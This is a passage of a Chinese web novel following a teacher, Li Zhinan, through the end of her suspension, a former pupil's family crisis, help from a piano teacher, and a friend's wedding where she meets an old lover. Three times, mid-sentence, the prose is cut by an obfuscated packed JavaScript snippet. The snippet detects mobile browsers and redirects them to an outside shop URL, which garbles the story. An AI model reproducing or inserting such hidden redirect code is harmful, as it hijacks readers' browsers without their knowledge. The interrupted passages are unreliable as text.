“是啊,那李老师怎么还有假期呢?”他打开了盒子,递了一个月饼过去。 “奚西又跟你说什么了?”李知难皱眉问道。 “说你被人冤枉了。”他诚实回答。 “我……”她想否认,可又说不口解释的理由,只道:“你就别管了。” 李北辰耸了耸肩,道:“我没管啊,我请你吃月饼而已。” 李知难没好气地接过了月饼。 “李老师,你对我的教学方式,没有什么想法吗?”李北辰试探着问。 李知难刚咬了半口月饼,急忙咽下去摆摆手道:“完全没有,我觉得你教得特别好。” 李北辰似乎有些松了口气,但又追问道:“不觉得是在浪费时间?” 李知难摇头:“完全没有。” “那我接下来……” “按照你的思路上课就行。”李知难痛快答。 “你没回我信息,我还以为……”李北辰缓缓说出了自己的顾虑。 “不是的,”李知难道,“我是在……” 是在想怎么夸你才能听起来真诚又不会显得过分,她思虑犹豫是如何掌握好夸奖他的分寸。 “……在看皮皮踢球。”李知难答。 “哦。”他轻笑着应。看来一向英明的李老师,也并不知道当时出现在自己聊天对话框上方的,是那句反反复复的“正在输入中。” “对了,”李知难突然想道,“那个监控我还是删了吧,这样对你的隐私……” “不用。”他果断拒绝了,“我相信你。” 顿了一下,他又补充道:“就像你相信我一样。” 李知难摇头:“那也不行……你……” “李老师,”李北辰道,“我和皮皮单独在一起,你需要留着。不光是为了皮皮,也是为了我自己。” 李知难瞬间联想到网上那些乱七八糟的传闻,一时间竟不知如何拒绝。 停课的这一周,李知难早上送皮皮上课,旁晚去接他,中间空出的时间,就变得有些不知所措。下意识中,李知难的车已经开到了学校门口,她看着静谧的校园,门口的自动门已经关上,她没在这个时间以这个角度看过学校,一切熟悉的事物都变得疏远而陌生。 她将车停在了路边,绕着学校外沿走,没走多远便看到了一旁公园的入口。恰逢天气晴朗,她也觉得这里是处不错的打发时间的地方。 此时的公园内人并不多,她顺着步道绕着圈,脑子空空地看着眼前景色。手机突然传来震动,她低头看,是APP的提示,提醒她视频中有人走动注意查看。李知难有些诧异地看着这奇怪的提醒,手点了下,屏幕上出现的,是打着赤膊的李北辰。他只穿了条灰色的运动裤,一边用毛巾擦着头发,一边在钢琴旁坐了下来。 她直直地看着画面中的男子,半侧的脸孔在高清摄像头下清晰极了,光照着他微湿的头发,晶莹的水珠反射着星星点点。他轻轻地抚着钢琴上的黑白键,李知难好奇,忍不住摁下了那个能够播放声音的按钮。 他在随意弹一首轻快的调子,像是在记录清晨的灵感。 李知难突然意识到,自己这是在……偷窥他,她立刻有些慌乱地准备退出软件,却如同巧合一般,屏幕中李北辰的视线突然向着屏幕外的自己看了过来。 李知难尴尬得有些惊恐,手机直接掉到了地上。 待她再次拾起手机时,画面里的人已经走了,屋子里空空地放着那架被弹奏过的钢琴,映着一室的阳光。 39. 永远的李老师 李知难脸色通红,她反复犹豫着要不要删,最终还是选择将软件的提醒功能全部关掉,使劲摇头想把那个画面从自己的脑海里删掉。 她也没了再逛公园的兴致,快步往回走,这公园是个圆形的步道,现在向前向后都有些绕路,她索性选了中间那条平日没人走的小路。 没走几步,她发现了角落里出现熟悉的颜色。 树丛中隐藏的座椅上,坐着两个穿着校服的学生,女学生正在在男学生的膝盖上,两个人叠坐一起,恍如无人地亲吻着,李知难定睛看过去,那男孩的手已经从女生校服的下摆处探了进去。 她下意识喊了一声:“你们在干什么呢?” 那女孩像是小兔子一样,听到声音就飞奔着跑了出去,连头也没回。男生急忙站起身,回头才想说什么,方认出眼前的人是三班的班主任老师。他先是有些松了口气,但又后知后觉地紧张了起来,虽然不是自己的班主任,到底是自己学校的,现在只能赌一把她能不能认出自己。 “李……老师。”男生挡在她身前,余光瞥着后面,希望女孩已经跑远。 “你哪个班的?”李知难厉声问。 “我……”他眼睛转了转,回道:“高一四班的。” 李知难看着他成熟的脸孔,绝不可能是高一的新生,才想让他说实话,只见他也装不下去,急匆匆地向反方向跑走了。 愣在原地的李知难哭笑不得,无奈摇头。 她走到校园外,此时里面正在上体育课。她想了想,拨通了曲子格的电话。 约莫十几分钟,曲子格从办公室匆匆跑出来,和她在操场后的角落里,隔着栏杆见了面。 曲子格:“你怎么来了?干嘛在外面?” 李知难瞪了瞪眼睛,曲子格方才意识到自己问题问得没有意义。她在外面,自然是因为她被停课无法进入校园。可眼下这个场面,曲子格又忍不住打趣:“你说咱俩,像不像学校接头取外卖的。” 李知难被她逗笑,想起刚才的事,问道:“刚才哪个班在上体育课?” 曲子格:“你们班啊。” 李知难愣住了。 “你这么快就把自己班里的课程表忘了?”曲子格翻了个白眼,“这才几天没上班,就这么懈怠了。” 李知难:“刚才是我们班上课?” “对。” “只有我们班一个班吗?” “对啊。” “那,进行什么活动了吗?” “跑完步就自由活动了。”曲子格答。 “那,有没有学生跑出去?” “跑哪儿去?” “外面。” 曲子格看了看:“翻栅栏出去?出去干嘛啊?” 李知难心里有些犹豫,但是刚才那个女孩的身影几乎和男孩揉在一起,她并没认出女孩的身份。 “怎么了知难?” 李知难把刚才的事情如实告诉了她,然后嘱咐她,午休的时候务必去找孙书维说这件事,最好能悄悄查一查监控,毕竟谈恋爱是一回事,学校的安保有漏洞就是另外的事了。曲子格点头说一会儿就去,李知难才放心离开。 这小插曲最后以孙书维没有查出什么结果而无疾而终,李知难继续接受自己的停职处罚。 一周后的上午,送礼事件颇为突然地迎来了转机,新闻热搜满是知名儿科教授性侵犯学生,陈姓同学等十几位学生联合实名举报。 同一时间,李知难也接到了孙书维的电话:“邵冲妈妈把实话说出来了。” 几日后,事件尘埃落定,学校领导握着李知难的手,赞扬道:“李老师高风亮节,这件事一定要在新闻稿里好好夸一夸。到时候采访之类的,李老师多多配合啊!虽然这次的评优给石老师了,但是下次,这肯定是板上钉钉的李老师的!” 李知难撇着嘴,欣赏着眼前领导的政治觉悟。 孙书维待领导离开后,遗憾道:“偏偏选在这个时间点告发,还拿你当前菜搞这种舆论效果,虽然我是支持学生维权的,但是非选这几个礼拜折腾,你这到手的奖没了,我想想就生气。” 李知难回道:“孙老师看起来比我都生气,我明白孙老师苦心,我这奖军功章里有你一大半。” 孙书维嘴硬道:“跟我有什么关系,课你自己上的,奖你自己评的。” “也不知道邵冲怎么样。”李知难道,“我想放学去看看他。” 孙书维道:“听说他爸妈很快就要离婚了,邵冲应该是准备去国外,他爸爸这事人尽皆知,他在这儿也待不下去了。” 旁晚放学后,李知难还是来到了邵冲家,此时里面基本已经被搬干净,邵妈妈看着对面的李知难眼神中带着愧疚,道:“之前的事我对不住你,李老师。” “没事,”李知难答道,“我要是真的到了被开除的份儿上,我相信您也不会真的不管我的。” 邵妈妈没回话,因为她知道,在出事的时候,她完全没有考虑过李知难的下场。她觉得自己已经活在了地狱,那么就算李知难失去了工作,也不会像自己这么惨,因而她甚至没有想过对不幸中的李知难出手相救。纵使她是为了自己。 看着这样的李老师,邵妈妈愧疚难忍,泣声道:“李老师,我对不起你。你打我骂我吧,我真的对不起你。” 李知难心瞬间就软了,其实刚才自己那句话里,也多少带了点埋怨。她轻声道:“不怪您,要求无力自保的人去舍身相助,那是要求圣人的标准,我们都是普通人,自私也没什么错。以后您和邵冲两个人在国外,一定好好照顾自己。” 邵妈妈道:“车牌的事,我把车子给你,算是报答你对我……” “我不能要,”李知难道,“我要是要了,我工作就保不住了,您忘了吗?” 邵冲妈妈抹了抹眼泪,道:“谢谢你李老师,你也替我谢谢你爱人。” “我爱人?” “嗯,是他来找我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14544382|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,跟我说明情况的,那个时候老邵的学生已经报警了,但是我还是害怕,我觉得以老邵的能力,就算是这样,他也照样能找到关系,我不敢去跟教育局的领导说出真相。是你爱人,过来找我,他跟我说了很多你和皮皮的事情,我也是听完了之后明白,你和我一样,都是妈妈,你保护了我,我不能害你。而且你爱人看起来挺有身份的,他甚至给我看了他跟领导的聊天记录,我才知道老邵不可能有机会了。”邵妈妈讲事实如是转述道。 李知难有些意外,但这几年来,宋乐大小事情也的确帮她打点了不少,这次背着她帮忙,可能是出于之前的愧意,以及对这段婚姻的仁义。她点了点头,开口问道:“我能去看看邵冲吗?” 邵妈妈点了点头。 邵冲正呆呆地坐在自己的书桌前,这地方他爸爸经常来监督辅导他功课,他看着门口的李知难,先是惊讶,后又生出了许多委屈,半晌,才满脸茫然地问道:“李老师,这件事您一直都知道吗?” “嗯。” "所以您帮我进篮球队,进音乐剧,对我额外关照,都是因为我妈妈吗?" “也是也不是,”李知难答,“我知道你以后要去国外,那边的大学需要申请,不光是看成绩,所以我希望你能有一些特长,一是帮助你更好的申请学校,这样你可以快点去上大学,快点带你妈妈离开。二是也希望你能找到自己的爱好,有个精神寄托。” “我以前不明白,为什么每次请家长的时候,我妈总是无条件地道歉,永远认为是我的错,只要是打架,她听都不听我解释,就认为我是那个坏孩子,原来这一切都是因为我爸爸,因为我是一个恶魔的儿子。”邵冲愈发激动,眼里带着泪水。 李知难轻声安慰道:“邵冲,你不光是他的儿子,你也是你妈妈的儿子。如果你觉得你父亲是一个恶魔的话,那你没发现,在过去的十几年中,一直是你妈妈,像是天使,像是战士一样,保护着你吗?所以你是天使的儿子,是战士的儿子,是一个无私的伟大的女人的儿子,你知道吗?” 邵冲流着泪,哭道:“我不知道她为我做了这么多。我甚至不知道我爸爸打了她。” “做妈妈的都这样的,她宁可你不知道,她只希望你一切都好。”李知难摸着他的头,轻轻念着:“快快长大吧邵冲,长成可以保护妈妈的人。” 两个月后,邵冲移民去了国外,和他妈妈一起。 后来,一个冬天的早晨,钱浩宇在早自习兴奋地喊道:“李老师,邵冲给您寄了一封信。” “也给我们读读吧。”孩子们也许是好奇,也许是八卦,也许只是想念曾经班里那个没心没肺的大个子男孩。 李知难打开信,发现竟然是用英文写的,她一边读一边解析着里面的语法错误,惹得大家哄堂大笑。 可当她读到最后时,却没有忍住情绪,留下了眼泪。 在信的落款处,邵冲一笔一划认真地写了一行字:谢谢您,我永远的李老师。 40. 生日礼物 周六,宋乐提议要带皮皮出去玩,一家三口去了公园。 “谢谢你。”李知难突然开口道。 “谢我什么?”宋乐一脸莫名其妙。 “之前我学生的事,你帮忙了吧?” “什么学生?” “不是你吗?” “你说什么呢?”宋乐似乎真的不清楚发生了什么。 李知难意外道:“我学校出了那么大事,你都没听说吗?” 宋乐瞥了她一眼,道:“你别太自恋了,以前你是我老婆,大小事我都打听着,现在你又不是了,我还管你那么多干嘛?” 李知难狐疑地看着他,心里想不出还有谁有能力在背后帮她解决问题。 三人吃过午饭后,宋乐回公司加班,李知难带皮皮去上钢琴课,路上皮皮开心地问道:“妈妈,以后能经常这样吗?” “嗯?” “和爸爸妈妈一起出去玩。”皮皮答。 李知难试探问道:“你……会不会觉得爸爸妈妈离婚让你有不舒服的地方?” 皮皮愣了愣,道:“没有啊。” 李知难心底的愧疚仍绕在心头,她才想解释,只听皮皮那边道:“以前你们也不和我一起出去玩,老是妈妈带我,或者爸爸带我,可现在你们两个人能跟我一起出去玩了,我就更开心了。” 李知难长舒了口气。 孩子并不知道离婚究竟代表什么,他能看到的只是眼前发生的事情。就像李知难小时候,她经常目睹父母吵架,也常从父母口中听到“要不是为了你我们早就离婚了”这种训诫性的言语,自然而然地,她似乎对父母婚姻的不幸也承担了连带责任,对父母离婚充满了畏惧,于是小小的她早早地就学会了在父母吵架之后两边说和。 结婚之后,有一次父母吵架闹得厉害,恰逢李知难那阵子工作压力大,本就是鸡毛蒜皮的小事,气急下她对二人胡乱说道:“要是过不下去你们就离婚吧。” 然后她在父母的眼中看到了难以置信的惊恐表情,仿佛她说了什么倒反天罡的话。 也是那一次,李知难突然顿悟,他们不是为了自己才不离婚,他们有自己的理由,只是那些理由都没有“为了她”这个借口来得冠冕堂皇,所以那些不堪就被隐藏在“为了她”之后了。 可似乎所有人都忽略了一件事,血缘是天生的,婚姻是人选的。父母相爱从来都不是父母对孩子的责任和义务,爱孩子才是,至于爱不爱对方,那是可以选择的事情。 李知难看着皮皮,温柔道:“妈妈特别爱你,你知道吗?” 皮皮点头:“我也很爱妈妈。” “爸爸也很爱你。” “我也爱爸爸。” “但是妈妈不爱爸爸,所以爸爸妈妈就离婚了。”李知难道,“婚姻像是一个房子,人可以随时选择进入和离开,要是为了责任和其他的东西把自己困在里面,那就是自己把婚姻变成了监狱。” “妈妈,你做错事了吗?为什么要进监狱?”皮皮自然听不懂这些比喻,他捡着好奇的词语问道。 “没有,妈妈没做错事,所以不用进监狱。”她笑着答。 她想,幸福不应该只是样子货,不应该是摆在人前的夫妻一体,藏在人后的鸡飞狗跳,幸福应当是真实的,哪怕需要打碎重来,真实的幸福也远比虚伪的假象切实得多。 被离婚后的父母分别爱着的皮皮,也应该会比曾经在父母婚姻里自责的自己,更幸福一些。 两个人来到了李北辰家门口,皮皮跳着摁门铃,可才碰到门就打开了。 李北辰穿着黑色T恤,蓝色牛仔裤,一身清爽,他眼睛弯弯的,唇角弯弯的,脸颊上的酒窝分外明显。他就这样笑着看着眼前二人,像是已经等待了很久。 “李老师好——” “皮皮同学好。” 李北辰半跪着和他握手,然后牵起他的手自然地去放外套,洗手,喝水。 李知难在门口看着这画面发怔。 “怎么了?” 李知难没来由地问道:“你知道我学校的事情?” “当然了,不是跟你聊过吗?”李北辰接过她的包,递水给她,淡淡回答。 “那……是你帮的我?”方才的画面让她突然萌生了这个猜测,八杆子打不着却又充满可能的猜测。 “李老师的口气听起来,好像不太相信的样子。”李北辰答。 “真的是你?” “不能是我吗?” “你哪来的路子?”李知难不解道。 李北辰风轻云淡地回道:“事情很好解决。又不是什么密室杀人案件,连点悬疑都没有。” 李知难一脸不可思:“很好解决?你开玩笑呢?” “这件事是从网上开始的,网络的弊端是鱼龙混杂,可网络也有一个好处,万事在网上都有痕迹。只要找到最初的来源,查出爆料的人,就能抓到这个人。既然人找到了,顺藤摸瓜就能找到线索,这就像是解方程式,一步一步走下去,答案自然就出来了。”李北辰说得这件事似乎真的毫无难度。 “可你怎么能找到来源的呢?” “找网警就可以啊,小张警官帮我联系了相关的同事,然后就查到这个人了。”他故意将事情说得轻松简单。 “是谁?” “小陈同学。”李北辰答。 李知难想到那天在医院时,被邵冲爸爸要求来加自己微信的女孩,道:“邵冲爸爸的学生?” “没错,了解事情情况,帮他们找律师,就可以告邵医生了,最后只需要把利弊放到邵冲妈妈面前,事情就解决了。”李北辰道,“是不是挺简单的?” “小陈同学为什么要在网上爆我的料?”李知难不解。 李北辰道:“这件事她们做的虽然不对,但也算有苦衷,当初本是想通过曝光这件事舆论发酵逼邵冲妈妈曝光邵医生家暴,这样一来既可以让他声名狼藉,也不会把嫌疑指向她们,神不知鬼不觉。毕竟她们也害怕,辛辛苦苦这么多年读到博士了,万一影响毕业工作,损失太大。我也是跟她们说明了情况,又找律师向她们解释了一下目前家暴难立案以及基本没有办法达到他们诉求的实际情况,她们都是聪明人,也不愿意连累你,所以自然会选择正义的方式。” 李知难道:“就这样?” 李北辰答:“就这样。李老师,事情本就没有那么复杂,你也不需要当个无名英雄替别人承担一切,大家都是成年人,自己可以承担后果。” 他这话像是话里有话,又让人挑不出来毛病。 “我还是觉得哪里不对劲。”李知难喃喃道。 这些手段说出来简单,三言两语就把事情抽丝剥茧,可当初她们三个人凑到一起,也寻摸不到方向,怎么也不像是李北辰嘴里说的小菜一碟的事情。 李北辰道:“以后遇见事呢,先不要乱了阵脚,更不要老想着自我牺牲。静下心来,仔细想一想,天底下没有解决不了的问题,只是看人能不能找到方法,万事总有解法的。” 李知难小声道:“你是老师我是老师?” 李北辰笑道:“问道有先后,术业有专攻,弟子不必不如师,师不必贤于弟子。” 李知难见他连韩愈都搬出来了,自然被说得哑口无言,可她转念又道:“不是,那你怎么跟邵冲妈妈说你是我……爱人。” 她声音越来越小。 李北辰眼底分明带着狡黠,嘴上倒是装得老实,回道:“啊?是吗?我说我是爱慕您的人,她听错了吧。” 李知难明白他的小心思,但到底是多亏了他,便诚恳道:“李北辰,这事谢谢你。” 李北辰眼睛向前扫了扫,回道:“谢谢皮皮吧。” “皮皮?”李知难也意外,不过才三四次课的功夫,两个人现在好得跟什么似的。 他点头道:“嗯,他在网上自己偷偷学,上礼拜给我弹了首走调的生日快乐歌。这算是我给他的回礼。” 李知难后知后觉道:“上礼拜是你生日啊?那,你想要什么,我送你。” 李北辰的眼睛再次亮晶晶地盯起了她。 “李北辰,你好好说。”她被看得心虚,故意横下脸来警告道。 “就知道你不是真心的。”李北辰耸了耸肩,对皮皮道:“来吧皮皮同学,咱们上课。” 一周后,李知难在送皮皮上课的时候,带了一幅裱好的画。雨中的女孩穿着鲜艳的连衣裙,踩着高跟鞋,看着玻璃外光怪陆离的景色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14567119|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,光影流转在她的眼底,她若有似无地沉思。 “送我的?”李北辰有些意外。 “嗯,生日礼物。”她回道,“还有你之前帮我处理车的事,我也不知道怎么还你合适,这幅画也算是……赔你吧。” 李北辰看着上面的女孩,道:“你画的?” 她摇头。 “画的你?” 李知难耸肩道:“可能是。” “谢谢。”他将画放到了壁柜上最显眼的位置,“我把你放在这儿。” 李知难解释道:“我也不知道是不是我。” “画得很好,不管是不是你。”他答。 事情平息后,学校生活再次回归日常。午休时,李知难、奚西照旧端着饭盒来体育办公室找曲子格。曲子格虽然嘴上抱怨说我这里又不是你们的包间,但午休时间一到,还是准时巴巴地往外看,等着她们打红烧鸡块过来孝敬。 这日聊着天,正感叹邵冲这件事时,曲子格道:“我还真挺意外,竟然是李北辰帮你摆平的。” 李知难附和点头。 “你说他不就一个写歌的吗?哪来这么大本事?”曲子格讶异道。 奚西在旁反驳:“北辰师哥很厉害的。他本来就是书香世家,社交圈里自然有很多厉害的人,北辰师哥的发小就是个大老板,特别有钱。而且你别老说我师哥只是个写歌的,我师哥是制作人好不好!” 曲子格像是嗅到了腥的猫,道:“你什么情况?你跟李北辰什么关系啊?” 奚西立刻缄口不语。 李知难也试探问道:“奚西,你不是喜欢……李北辰吧?” 曲子格转过头看她:“不是,李知难怎么也会八卦了?你又是什么情况?” 李知难心虚答:“我关心奚西啊。” 曲子格道:“你关心她?你关心关心你自己,我上次跟你说的那个,给你介绍的大款,你考虑得怎么样了?” “什么大款?”李知难早不记得这话茬。 “你就忙着邵冲那点破事,都忘了我跟你说的大事了吧!”曲子格急道,“我跟你说,这位可是人中龙凤,过了这村没这店了。” 李知难道:“那我快马加鞭地过,坐着高铁过,怎么快怎么过。” 曲子格无奈道:“我这个恨铁不成钢!” 李知难笑道:“你多关心你自己吧,老惦记这些没用的。” 曲子格一提起这个,又兴奋起来,道:“哦,说起我自己啊,你们最近工资省着点花儿,马上要给姐姐我包份儿大的红包了。” 奚西在旁兴奋道:“你要结婚啦?” 李知难道:“真的假的?” “八九不离十了,已经见完家长了,万事俱备,就欠你们的大红包了。”曲子格一脸喜气洋洋。 下班的时候,李知难恰好在停车场碰到了孙书维,顺便把曲子格的喜事告诉了她。“你也算是大功臣,到时候让你坐主桌。” 孙书维道:“先结,结了再说,关于曲子格的事,不到落听的最后一刻,我都不相信是真的。” 李知难笑道:“你瞧瞧,怎么对咱们孩子这么没有信心呢?” “因为她没脑子。”孙书维答,后又犹豫半晌,方才道:“其实我也有个事跟你说。” “嗯?” “我也要结婚了。”她轻描淡写地说道。 李知难:“啊?跟谁啊?” 孙书维:“红烧肉。” “老路?他回来了?”李知难惊讶道,“你确定吗?” 孙书维从包里掏出了请柬,道:“下个月二号,周六,记得来。” 李知难看着那张请贴,不由道:“还得是你啊孙老师,不鸣则已,一鸣惊人。悄无声息地办大事!” 孙书维眼里的那丝犹豫仍旧没有褪去,小心道:“但是有件事我得提前告诉你。” “怎么了?” “伴郎,是裴方禹。”她小心翼翼地说出了这个名字,也将李知难前一秒的笑模样僵挂在了脸上。 孙书维立刻补充道:“你要是不想来,就不用来了,不过就是婚礼而已,也不是什么大事。” “你结婚是天大的事,”李知难道,“下刀子我也会去的。” 41. 孙书维的婚礼 孙书维的婚礼定在了气派的五星酒店,曲子格看着婚礼的规模,挽着李知难小声道:“孙书维还真是的,我要结婚她就抢先一步结,还搞这么大的排场,太气人了。” 李知难敲了敲她的脑袋,回道:“结婚是大事,她也不至于为了气你专门结趟婚吧?” 曲子格答:“我怎么觉得这是她能干出来的事呢?” 李知难笑她神经。 “不过我倒是纳闷,她找谁当伴娘了?”曲子格又问道。 “好像是她表妹。” 曲子格撇嘴:“放着我们两个大活人,她找个外人,什么意思嘛!” 李知难听着她叫人家嫡亲的表妹是外人,无语道:“我一个离婚的,你一个马上结婚的,我不吉利,你不周到,她不找咱们俩那就对了。” 曲子格严肃地看向她:“李知难,你要是再说这种话,我就跟你急眼了啊!” 李知难解释道:“那确实没有找离婚的当伴娘的道理。” 曲子格挑着眉毛,气道:“怎么没有?今天我就把你给定下来,我结婚的时候,你必须是我的伴娘!” 李知难摆了摆手:“心意我领了,这活我就不接了,拉倒吧。” 曲子格正色道:“你要是不肯给我当伴娘,这婚我还就不结了呢!” “你为了我结的婚啊?你跟我结婚呢?”李知难笑她胡闹。 曲子格毫不在意,只道:“我都说过了,别人能陪我们一段,但是你跟我,咱俩一辈子。” 婚宴几近开场,李知难拉着曲子格坐下了来。 舞台上,孙书维穿着圣洁的白色婚纱,挽着身旁男人的手,说着交换余生的誓言。曲子格已经眼泪汪汪地要哭出声,另一边的奚西也红了眼眶。 倒是李知难,看着眼前的场景只是楞楞地出神。 “我们的女孩要嫁给那个臭男人了。”曲子格瓮声瓮气地说着。 李知难安慰着她,余光扫过台上。 站在礼台一侧,是西装笔挺的裴书禹,已经过去那么多年,她有时候回想起来,觉得记忆中的脸都变得模糊,拼凑不出完整的样子。可今日人又在眼前时,才发现自己从没有忘记过他的样子,一颦一笑,一举一动,都和记忆中不差分毫。 台上男人的目光也望了过来,对上了她的视线。 电视剧里,这种场景下,都会有BGM缓缓响起,伴随着几个越拉越近的慢镜头。巧的是,属于新娘新郎的背景乐在这时也刚好响了起来,李知难望着他,面无表情,他看着李知难,笑容一如当年。 “那个伴郎是不是看你呢?”就算是红着鼻子,曲子格的看家本领也没丢,“长得挺帅啊,是不是看上你了?” 李知难移开了视线,没有回答。 “孙书维老公的朋友,那是不是也是外交官?”曲子格开启了分析模式,“长得帅,工作体面,知难一会儿你过去跟他聊聊。” 李知难立刻嘱咐道:“你千万不能胡闹,曲子格,其他时候你怎么闹都行,今天,你给我发誓,你绝对不能胡闹。” 曲子格被她突然严肃的态度震慑住,嗫嗫道:“你就这么在乎孙书维啊?” 仪式结束,一对新人换礼服敬酒,婚宴开席。 奚西拉住李知难的衣角,小声道:“知难,我和北辰师哥没有什么的。” 李知难不知道她这话从何说起,只问道:“你突然跟我说这个干什么,你的事情,不用和我解释的。” 奚西回道:“我以前是暗恋过北辰师哥,但是我早就不喜欢他了。” 李知难看着她的态度,反应过来:“那天我问你的话,你是不是想多了?我没有打听的意思……” 奚西摇头否认,道:“你可以没有,但是我不能当不知道一样混过去,我很关心北辰师哥,也很在乎他,但是我对他没有任何男女方面的想法。”她顿了顿,说道:“我觉得我应该明白告诉你。” 李知难听得有些别扭,自己是什么身份,凭什么要求人家给自己解释。她这样想着,又越发觉得身侧女孩的珍贵,她有一颗诚如赤子的心,做事磊落,做人真诚,在这一点上,她自愧不如。 话还没说完,敬酒的流程就进行到了她们这桌。一桌人都是新郎新娘的同事,两个人听着大家的恭喜,一杯一杯地敬着酒。 “百年好合,恭喜恭喜。” “白头偕老,百年好合。” 孙书维走到了她们三人身边,道:“谢谢你们能来。” 她说这话时,眼睛一直盯着李知难。 曲子格起身道:“书维,今天是你大喜的日子,我祝你们白头偕老,永结同心。”说罢将手中的酒一饮而尽。 孙书维本打算陪她一杯,却被她拉住了胳膊,道:“不用你喝,让你老公喝。” 一旁的路少鸿立刻举起了酒杯。曲子格将酒杯拿过来,倒掉里面安排的水,斟了满满一杯酒,道:“你小子命好,娶到了我们学校最有能力的老师,你以后可得好好对她,要是让我们知道她受了半点委屈,我们整个学校都不会放过你的!” 李知难在一旁拉她,知道她是好心,却又怕她办坏事。 路少鸿接过了酒,还没送到嘴中,便被一旁的裴方禹拦下了,他接过酒杯一饮而尽,回道:“老师放心,少鸿一定会好好照顾孙老师的。” 曲子格有些不悦,才想说他捣什么乱,手又被李知难摁下了。 孙书维见状,自己倒了两杯酒,一杯给路少鸿,一杯自己拿着,对曲子格道:“谢谢曲老师,我们两个一起敬你一杯。” 曲子格的眼泪即刻夺眶而出,想上前去搂孙书维,却又害怕自己弄花了她的新娘行头。手在身前晃晃荡荡不知放在哪里。 一杯酒毕,孙书维又倒了两杯,送到了李知难手里。 “知难,谢谢你。”她看着李知难,眼眶微微泛红,完全不像是平日里那个杀伐果决的孙主任。 李知难起身,道:“新婚快乐新娘子,祝你一生幸福。” 孙书维牢牢地抱紧了李知难,曲子格见状也抱了上来,三个人像是回到当年开始的时候,那年教师运动会,她们接力跑拿了第一名,也曾这样牢牢地抱在一起过。 一旁的摄影师适时地记录下了这一刻,孙书维后来在照片后写下了这样的一段话:我的女孩们总会长大,会经历风雨,会承受坎坷,然而任时光荏苒,岁月多坚,我的女孩们将永远闪耀,永远昂扬。 待敬酒完毕,新人去到下一桌,裴方禹却迟迟没走。 “你怎么还不去挡酒去,”曲子格还有些气他方才的挡酒行为,口气不善地轰他道,“在这杵着干嘛?” 裴方禹看着李知难,小声道:“我能和你聊聊吗?” 曲子格才想开口,李知难已经起了身,小声道:“去外面说吧。” 礼堂外,两个人在狭长走廊内面对面地站着。 “你过得好吗?”裴方禹不能免俗地问。 “挺好的。”李知难回答。 “听说你结婚了?” “嗯。”李知难点了点头,庆幸孙书维并没有将最新的消息同步给他。 “我没有,”裴方禹道,“我一直单身。” 李知难仰起头看他,道:“所以呢?” “我没有别的意思。”他笑着解释道。 “没有别的意思?那你跟我说这话是什么意思?是在告诉我你有多长情,还是在讽刺我转身就嫁给了别人?”李知难突然就竖起了一身的刺。 裴方禹看着她,温声道:“知难,你生气了。” 李知难反问:“我不应该生气吗?你凭什么理直气壮地出现在我面前?” “别生气。”他像是潭湖水,李知难如何反应都化作湖心涟漪,他试图将其一一抚平。 李知难极其讨厌他当下的态度,更厌烦自己的情绪,一时气急,她只转身想走,却没成想被他拉住了胳膊,将半个身子直接圈进了怀里。 这是一个缺位了太多年的拥抱。 人的身体会对另一个身体的形状产生记忆效应,就像是箍在牙齿上的钢丝,任凭多少种里出外进歪七扭八也拦不下钢丝寻找原本记忆的的曲线。 她被裴方禹搂进怀里的那一刻,身体的记忆效应归位,她柔软地躺在其中,她俏皮地跳着抱起,她垫脚搂着他的脖子胡乱摇摆,她偎在他的胸口中低声哭泣。这一方胸膛如同故乡,她从未想过,再次拥入其中时,会泛起心底这么多的波澜。 她开始不受控制地哭泣,像是眼睛里的开关被人打开一般。 那层负责维持体面秩序的坚硬外壳,在昔日旧情人面前突然站不住脚,仓皇逃去,真实柔软的她被措不及防地晾在原地,除了哭泣,竟找不出任何应对的办法。 裴方禹小心地搂着她,任由她将自己的西装哭花。 “没事了,知难,没事了。”他摸着她的头发,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14567120|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遍又一遍地安慰她。 良久,李知难回到座位,脸上带着重新补过的妆,完全掩饰了几分钟前错乱的情绪。曲子格怨道:“知难,你跟他去哪了?” 李知难还没来得及回答,却听对面路少鸿的同事突然开口问道:“请问,您是李知难老师吗?” 李知难点头。 曲子格问道:“你们认识?” 女孩向旁边人使了个眼色,顿时一桌的男方同事都用眼神分享着同一个秘密。 曲子格看他们这反应,不解道:“什么意思啊?你们认识知难?” 一位同事出声解释道:“我们都听说过,裴老师的初恋女友,对吧?” 大家一同点头应和:“嗯嗯嗯。” “裴老师和他的白月光,那可是现代童话标本,您的照片一直摆在我们裴老师的桌子上。” “您知道我们有多少女同事羡慕您吗?” “李老师真的好漂亮,难怪能让我们外交部男神心心念念这么多年。” 曲子格愣在了原地,听着这突如其来的八卦,第一次没了看热闹的心情,反倒是视线丝毫不敢离开李知难的脸。 